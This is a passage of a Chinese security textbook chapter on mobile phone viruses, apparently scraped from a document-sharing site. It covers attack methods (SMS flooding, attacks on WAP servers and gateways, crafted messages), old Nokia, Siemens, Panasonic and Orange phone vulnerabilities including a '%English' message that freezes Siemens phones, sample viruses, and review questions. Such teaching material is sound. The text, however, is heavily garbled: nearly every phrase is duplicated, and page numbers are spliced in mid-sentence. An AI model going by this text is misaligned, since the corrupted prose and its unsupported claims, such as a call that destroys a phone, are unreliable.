257、an、Pocket PC和和SmartPhone的操的操作系统的手机不断扩大,同时手机使用的芯片(如作系统的手机不断扩大,同时手机使用的芯片(如Intel的的Strong ARM)等硬件也不断固定下来,使手)等硬件也不断固定下来,使手机有了比较标准的操作系统,而且这些手机操作系统机有了比较标准的操作系统,而且这些手机操作系统厂商甚至芯片都对用户开放厂商甚至芯片都对用户开放API,并且鼓励在其上做,并且鼓励在其上做开发工作,这样在方便用户的同时,也方便了病毒编开发工作,这样在方便用户的同时,也方便了病毒编写者,破坏者只需查阅芯片厂商或者手机操作系统厂写者,破坏者只需查阅芯片厂商或者手机操作系统厂

258、商提供的手册就可以编写出基于手机的病毒,甚至这商提供的手册就可以编写出基于手机的病毒,甚至这样的可以破坏硬件。样的可以破坏硬件。(3) 手机的容量不断扩大既增加了手机的功能,同手机的容量不断扩大既增加了手机的功能,同时也使得病毒有了藏身之地。现在的很多手机都有比时也使得病毒有了藏身之地。现在的很多手机都有比较大的容量,甚至能外接较大的容量,甚至能外接CF卡。卡。 (4) 手机直接传输的内容也复杂了很多,从以前只手机直接传输的内容也复杂了很多,从以前只有文本的有文本的SMS发展到现在支持二进制格式文件的发展到现在支持二进制格式文件的EMS和和MMS,因此病毒就可以附加在这些文件中进,因此病毒就可

259、以附加在这些文件中进行传播。行传播。 手机病毒一般会从两个方面进行攻击:一是攻击移动手机病毒一般会从两个方面进行攻击:一是攻击移动网络,通过对网络服务器和网关的破坏和控制,使用网络,通过对网络服务器和网关的破坏和控制,使用户无法正常收发短信息,享受正常的移动数据服务,户无法正常收发短信息,享受正常的移动数据服务,并且还会向手机用户发送大量的垃圾信息,使用户不并且还会向手机用户发送大量的垃圾信息,使用户不胜其烦;二是直接对对手机进行攻击,利用手机的操胜其烦;二是直接对对手机进行攻击,利用手机的操作系统的漏洞,破坏手机操作系统,删除手机中存储作系统的漏洞,破坏手机操作系统,删除手机中存储的数据,使

260、手机系统不能正常工作甚至崩溃,并且也的数据,使手机系统不能正常工作甚至崩溃,并且也有可能损坏手机芯片,使手机硬件也受损。目前手机有可能损坏手机芯片,使手机硬件也受损。目前手机病毒的攻击方式主要如下:病毒的攻击方式主要如下:7.6.2 手机病毒攻击方式手机病毒攻击方式(1) 攻击提供手机辅助服务的互联网工具或者其他攻击提供手机辅助服务的互联网工具或者其他互联网内容、服务项目互联网内容、服务项目这种在因特网上传播的病毒影响面目前是最大的,从这种在因特网上传播的病毒影响面目前是最大的,从它的传播方式和运行程序的设备来看,这种病毒严格它的传播方式和运行程序的设备来看,这种病毒严格意义上来说仍然是一种计

261、算机病毒,但从危害对象来意义上来说仍然是一种计算机病毒,但从危害对象来说,却是一种手机病毒。这类病毒通过电子邮件散发,说,却是一种手机病毒。这类病毒通过电子邮件散发,具有双重危害,不但可以像普通的邮件病毒那样,给具有双重危害,不但可以像普通的邮件病毒那样,给地址簿中的邮箱发送带毒邮件,而且可以利用短信服地址簿中的邮箱发送带毒邮件,而且可以利用短信服务器中转向手机发送大量短信,于是人们的手机便收务器中转向手机发送大量短信,于是人们的手机便收到一堆垃圾短信。到一堆垃圾短信。事实上,只要电子邮箱带有邮件短信通知或者短信转事实上,只要电子邮箱带有邮件短信通知或者短信转发功能,那么一款很普通的攻击电子邮

262、箱的计算机病发功能,那么一款很普通的攻击电子邮箱的计算机病毒同时也会对手机造成极大的危害:在邮箱不断收到毒同时也会对手机造成极大的危害:在邮箱不断收到垃圾邮件的同时,手机也会不断收到短信通知,造成垃圾邮件的同时,手机也会不断收到短信通知,造成话费支出。这样,它已经名副其实地成了手机病毒了。话费支出。这样,它已经名副其实地成了手机病毒了。(2) 攻击攻击WAP服务器使服务器使WAP手机无法接收正常信手机无法接收正常信息息WAP就是无线应用协议。它可以使小型手持设备如就是无线应用协议。它可以使小型手持设备如手机等方便地接入因特网,完成一些简单的网络浏览、手机等方便地接入因特网,完成一些简单的网络浏

263、览、操作功能。手机的操作功能。手机的WAP功能需要专门的功能需要专门的WAP服务器服务器来支持,一旦有人发现来支持,一旦有人发现WAP服务器的安全漏洞,并服务器的安全漏洞,并对其进行攻击,手机将无法接通到正常的网络信息。对其进行攻击,手机将无法接通到正常的网络信息。(3) 攻击和控制攻击和控制“网关网关”,向手机发送垃圾信息,向手机发送垃圾信息网关是网络与网络之间的联系纽带,利用网关漏洞同网关是网络与网络之间的联系纽带,利用网关漏洞同样可以对整个手机网络造成影响,使手机的所有服务样可以对整个手机网络造成影响,使手机的所有服务都不能正常工作,甚至可以向范围巨大的手机用户批都不能正常工作,甚至可以

264、向范围巨大的手机用户批量发送垃圾信息。量发送垃圾信息。(4) 直接攻击手机本身,使手机无法提供服务直接攻击手机本身,使手机无法提供服务这是一种名副其实的手机病毒,也是目前手机病毒的这是一种名副其实的手机病毒,也是目前手机病毒的一种重要要攻击方式。主要是利用手机芯片程序中的一种重要要攻击方式。主要是利用手机芯片程序中的bug,以,以“病毒短信病毒短信”的方式攻击手机,使手机无法的方式攻击手机,使手机无法提供某方面的服务。天津市就曾经出现过一种称为提供某方面的服务。天津市就曾经出现过一种称为“移动黑客移动黑客”的手机病毒,用户只要一查看中毒手机中的手机病毒,用户只要一查看中毒手机中的短信息,手机就

265、会自动关闭。该病毒是用短信的形的短信息,手机就会自动关闭。该病毒是用短信的形式把病毒代码发送给对方,从而造成破坏。杀伤力强式把病毒代码发送给对方,从而造成破坏。杀伤力强的手机病毒,甚至能使手机自动关机、死机等,甚至的手机病毒,甚至能使手机自动关机、死机等,甚至内部芯片烧坏。内部芯片烧坏。这类病毒通常只对使用同一芯片、同一种操作系统的这类病毒通常只对使用同一芯片、同一种操作系统的手机产生作用,而一旦厂家填补漏洞,病毒也就无隙手机产生作用,而一旦厂家填补漏洞,病毒也就无隙可乘了。可乘了。手机病毒以其潜在的破坏性、隐蔽性和攻击性,正在手机病毒以其潜在的破坏性、隐蔽性和攻击性,正在对手机及其网络移动设

266、备造成极大的威胁,但其病毒对手机及其网络移动设备造成极大的威胁,但其病毒编制技术一般是利用手机本身设计缺陷或软件程序缺编制技术一般是利用手机本身设计缺陷或软件程序缺陷,寻找可以利用的漏洞,编制程序进行攻击。这些陷,寻找可以利用的漏洞,编制程序进行攻击。这些攻击程序可能占领短信网关或者利用网关漏洞向手机攻击程序可能占领短信网关或者利用网关漏洞向手机发送大量短信,进行短信拒绝服务攻击。典型的就是发送大量短信,进行短信拒绝服务攻击。典型的就是利用各大门户网站的手机服务漏洞,写病毒程序,不利用各大门户网站的手机服务漏洞,写病毒程序,不停的用某个手机号码订阅某项服务或者退定某个服务,停的用某个手机号码订

267、阅某项服务或者退定某个服务,SMS.Flood手机病毒就是这样一个程序。手机病毒就是这样一个程序。7.6.3 手机病毒编制手机病毒编制攻击程序也可能利用手机程序的漏洞,发送精心构造攻击程序也可能利用手机程序的漏洞,发送精心构造的短信或者彩信,造成手机内部程序出错,从而导致的短信或者彩信,造成手机内部程序出错,从而导致手机不能正常工作,就像经常在计算机上看到的手机不能正常工作,就像经常在计算机上看到的“程程序出错序出错”情况一样。典型的例子就是针对西门子手机情况一样。典型的例子就是针对西门子手机的的Mobile.SMSDOS程序。程序。 1. 利用手机本身设计漏洞利用手机本身设计漏洞利用手机本身

268、设计或服务上的漏洞,针对某种特定型利用手机本身设计或服务上的漏洞,针对某种特定型号的手机,编制病毒程序,发动攻击,这是手机病毒号的手机,编制病毒程序,发动攻击,这是手机病毒中常见的一种病毒模式。中常见的一种病毒模式。(1) PDU格式漏洞格式漏洞2002年年1月荷兰安全公司月荷兰安全公司ITSX的研究人员发现,诺基的研究人员发现,诺基亚的一些流行型号的手机的操作系统由于没有对短信亚的一些流行型号的手机的操作系统由于没有对短信的的PDU格式做例外处理,存在一个格式做例外处理,存在一个bug。黑客可以利。黑客可以利用这个安全漏洞向手机发送一条用这个安全漏洞向手机发送一条160个字符以下长度个字符以

269、下长度的畸形电子文本短信息来使操作系统崩溃。该漏洞主的畸形电子文本短信息来使操作系统崩溃。该漏洞主要影响诺基亚要影响诺基亚3310、3330和和6210型手机。型手机。(2) 特殊字符漏洞特殊字符漏洞由于手机使用范围逐渐扩大,中国安全人士对手机、由于手机使用范围逐渐扩大,中国安全人士对手机、无线网络的安全也产生了兴趣。无线网络的安全也产生了兴趣。2001年底,中国安全年底,中国安全组织组织Xfocus的研究人员发现西门子的研究人员发现西门子 35系列手机在处系列手机在处理一些特殊字符时存在漏洞,将直接导致手机关机。理一些特殊字符时存在漏洞,将直接导致手机关机。(3) Vcard存在漏洞存在漏洞

270、 VCard格式是一种全球性的格式是一种全球性的MIME标准,最早由标准,最早由Lotus和和Netscape提出。该格式实现了通过电子邮件提出。该格式实现了通过电子邮件或者手机来交换名片。诺基亚的或者手机来交换名片。诺基亚的6610、6210、6310、8310等系列手机都支持等系列手机都支持Vcard,但是其,但是其6210手机被证手机被证实在处理实在处理Vcard上存在格式化字符串漏洞。攻击者如上存在格式化字符串漏洞。攻击者如果发送包含格式字符串的果发送包含格式字符串的Vcard恶意信息给手机设备,恶意信息给手机设备,可导致可导致SMS服务崩溃,使手机被锁或重启动。服务崩溃,使手机被锁或

271、重启动。 2. 利用手机软件漏洞利用手机软件漏洞(1) Panasonic的的GD87彩信手机漏洞彩信手机漏洞2002年年12月,月,T-Mobile International AG公司确认了公司确认了在新款松下彩信手机软件中出现了漏洞,这个漏洞可在新款松下彩信手机软件中出现了漏洞,这个漏洞可以让手机不经过使用者的同意而访问付费服务,其中以让手机不经过使用者的同意而访问付费服务,其中的原因是的原因是GD87支持支持WAP PUSH中的中的service loading方方式。式。 “WAP PUSH”分为分为service loading与与service indication两种,其中两种

272、,其中service loading工作如下所示:工作如下所示: Push发起者向网关发送文本方式的发起者向网关发送文本方式的SL(Service Loading)。)。 PUSH网关收到该信息后转化为二进制方式,然后网关收到该信息后转化为二进制方式,然后向用户终端推送这个向用户终端推送这个SL。 如果用户终端接受到此信息,这时用户是不会知如果用户终端接受到此信息,这时用户是不会知道这个信息的。道这个信息的。 如果手机端没有附加的判断,那么手机会自动启如果手机端没有附加的判断,那么手机会自动启动动WAP浏览器通过浏览器通过PUSH网关发送请求。网关发送请求。 服务器返回结果,这时终端就已经登录

273、到相应的服务器返回结果,这时终端就已经登录到相应的网址了。如果此网站需要付费,则手机用户就会在不网址了。如果此网站需要付费,则手机用户就会在不知不觉中付大量的费用。知不觉中付大量的费用。 (2) Orange的的SPV存在允许运行非认证软件漏洞存在允许运行非认证软件漏洞 英国电信商英国电信商Orange的的SPV是市面上第一款采用微软是市面上第一款采用微软Smartphone 2002操作系统的手机。基于安全考虑,操作系统的手机。基于安全考虑,Orange只允许经过该公司认证的软件才能在只允许经过该公司认证的软件才能在SPV手手机上执行。但机上执行。但2003年初已有黑客破解年初已有黑客破解S

274、PV上的安全机上的安全机制,并公开此破解方法,这样,程序无须通过制,并公开此破解方法,这样,程序无须通过Orange认证,就可直接流入网络,用在认证,就可直接流入网络,用在SPV手机上,手机上,从而对用户的手机产生破坏。从而对用户的手机产生破坏。(3) Siemens的的“%String”漏洞漏洞 2003年年3月,西门子月,西门子35和和45系列手机在处理短信时遇系列手机在处理短信时遇到问题。当接受到到问题。当接受到“%String”形式的短信时,如形式的短信时,如“%English”西门子手机系统以为是要更操作改系统西门子手机系统以为是要更操作改系统语言为英文,从而导致在查看该类短信时死机

275、语言为英文,从而导致在查看该类短信时死机,利用利用这一点很容易使西门子这类手机遭受拒绝服务攻击。这一点很容易使西门子这类手机遭受拒绝服务攻击。3. 利用网络服务漏洞利用网络服务漏洞短信息、短信息、WAP服务,可以给用户带来方便,只需按服务,可以给用户带来方便,只需按几个键就可以换个几个键就可以换个LOGO,下载喜爱的铃声。但也正,下载喜爱的铃声。但也正是这些功能,可以写入系统或记忆体的指令,破坏者是这些功能,可以写入系统或记忆体的指令,破坏者只要找出缺口,传出一个带毒的短信息,以汇编程序只要找出缺口,传出一个带毒的短信息,以汇编程序(Assembly Programming)改变系统的机内码)

276、改变系统的机内码(Machine Code),将指令藏在记忆体中,然后在),将指令藏在记忆体中,然后在开启其他手机的电话本,大肆传播病毒,在一定时间开启其他手机的电话本,大肆传播病毒,在一定时间内发作,破坏手机的开机系统。例如专门攻击西门子内发作,破坏手机的开机系统。例如专门攻击西门子多款型号手机的病毒程序多款型号手机的病毒程序Hack.mobile.smsdos,此病,此病毒可以通过互联网或手机把病毒程序以短信息的方式毒可以通过互联网或手机把病毒程序以短信息的方式发送给西门子手机用户。发送给西门子手机用户。1. “EPOC”病毒病毒 病毒共有病毒共有6种:种: “EPOCALARM”,发作时

277、持续发出警告声音。,发作时持续发出警告声音。“EPOCBANDINFO.A”,发作时将用户信息变更为,发作时将用户信息变更为“Somefoolownthis”。“EPOCFAKE.A”,发作时在手机的屏幕上显示格,发作时在手机的屏幕上显示格式化内置硬盘画面,但不执行格式化操作。式化内置硬盘画面,但不执行格式化操作。“EPOCGHOST.A”,发作时在画面上显示,发作时在画面上显示“Everyonehatesyou”的话。的话。7.6.4 典型手机病毒典型手机病毒“EPOCLIGHTS.A”,发作时使背景灯,发作时使背景灯BackLight持持续闪烁。续闪烁。 “EPOCALONE.A”,发作时

278、使键盘操作失效等。,发作时使键盘操作失效等。 这这6种病毒中前种病毒中前5种的危害并不很大,并且还有种恶作种的危害并不很大,并且还有种恶作剧的味道,但第六种剧的味道,但第六种“EPOCALONE.A”却是一种恶却是一种恶性病毒。当计算机执行有毒的程序时,会显示红外线性病毒。当计算机执行有毒的程序时,会显示红外线通信接收文件时所显示的画面,并在此时将病毒悄悄通信接收文件时所显示的画面,并在此时将病毒悄悄地藏入内存之中。当病毒在内存中安营扎寨之后,会地藏入内存之中。当病毒在内存中安营扎寨之后,会在计算机画面上显示在计算机画面上显示“WarningVirus”的信息,此的信息,此后手机便不接受任何键

279、盘操作。在发现以后,可以输后手机便不接受任何键盘操作。在发现以后,可以输入入“leavemealone”来解除病毒常驻。来解除病毒常驻。2. “Unavailable”病毒病毒 这是最初在越南出现一种破坏移动电话的病毒。当对这是最初在越南出现一种破坏移动电话的病毒。当对方拨电话到来时,本来屏幕上显示的应该是来电者的方拨电话到来时,本来屏幕上显示的应该是来电者的电话号码,但却显示电话号码,但却显示“Unavailable”字样或一些奇字样或一些奇异的符号。此时千万不要答复来电,否则就会染上该异的符号。此时千万不要答复来电,否则就会染上该种病毒,同时机内所有资讯及设定均将被破坏种病毒,同时机内所有

280、资讯及设定均将被破坏(包括包括缴费使用电话卡的电话在内缴费使用电话卡的电话在内),一旦发生此情况,可,一旦发生此情况,可能要换一部新的移动电话。能要换一部新的移动电话。1. 名词解释名词解释(1) 引导记录引导记录(2) 寄主寄主(3) OLE(4) VxD(5) PE(6) 网络监听网络监听(7) 网络蠕虫网络蠕虫习题习题(8) 后门程序后门程序(9) 黑客程序黑客程序(10) 信息炸弹信息炸弹2. 简答题简答题(1) 简述引导型病毒的运行机制。简述引导型病毒的运行机制。(2) 举例说明文件型病毒的共同特点。举例说明文件型病毒的共同特点。(3) 根据根据Windows系统的特点,说明系统的特

281、点,说明Windows病毒病毒有哪些新特点?有哪些新特点?(4) 简述简述Windows病毒的运行机制。病毒的运行机制。(5) 简述网络病毒的传播特点。简述网络病毒的传播特点。(6) 什么是宏病毒?简述宏病毒的感染机制及宏病什么是宏病毒?简述宏病毒的感染机制及宏病毒的破坏作用。毒的破坏作用。(7) 简述木马病毒的特点及危害。简述木马病毒的特点及危害。(8) 详细说明木马病毒的分类。详细说明木马病毒的分类。(9) 什么是手机病毒?手机病毒有哪些攻击方式?什么是手机病毒?手机病毒有哪些攻击方式?(10) 手机设计或手机控制软件中存在哪些漏洞?手机设计或手机控制软件中存在哪些漏洞?3. 论述题论述题(1) 什么是文件型病毒?说明文件型病毒是如何利什么是文件型病毒?说明文件型病毒是如何利用文件的结构特点而编制的。用文件的结构特点而编制的。(2) Windows型病毒主要启用了一些什么样的关键型病毒主要启用了一些什么样的关键技术?技术?Windows病毒是如何利用这些技术的。病毒是如何利用这些技术的。(3) 什么是网络病毒?试说明网络病毒常用的攻击什么是网络病毒?试说明网络病毒常用的攻击方式有哪些?方式有哪些?(4) 简述木马病毒是如何进行伪装、触发和产生破简述木马病毒是如何进行伪装、触发和产生破坏作用的。坏作用的。(5) 说明木马程序的通信机制。说明木马程序的通信机制。

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 办公文档 > 教学/培训

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号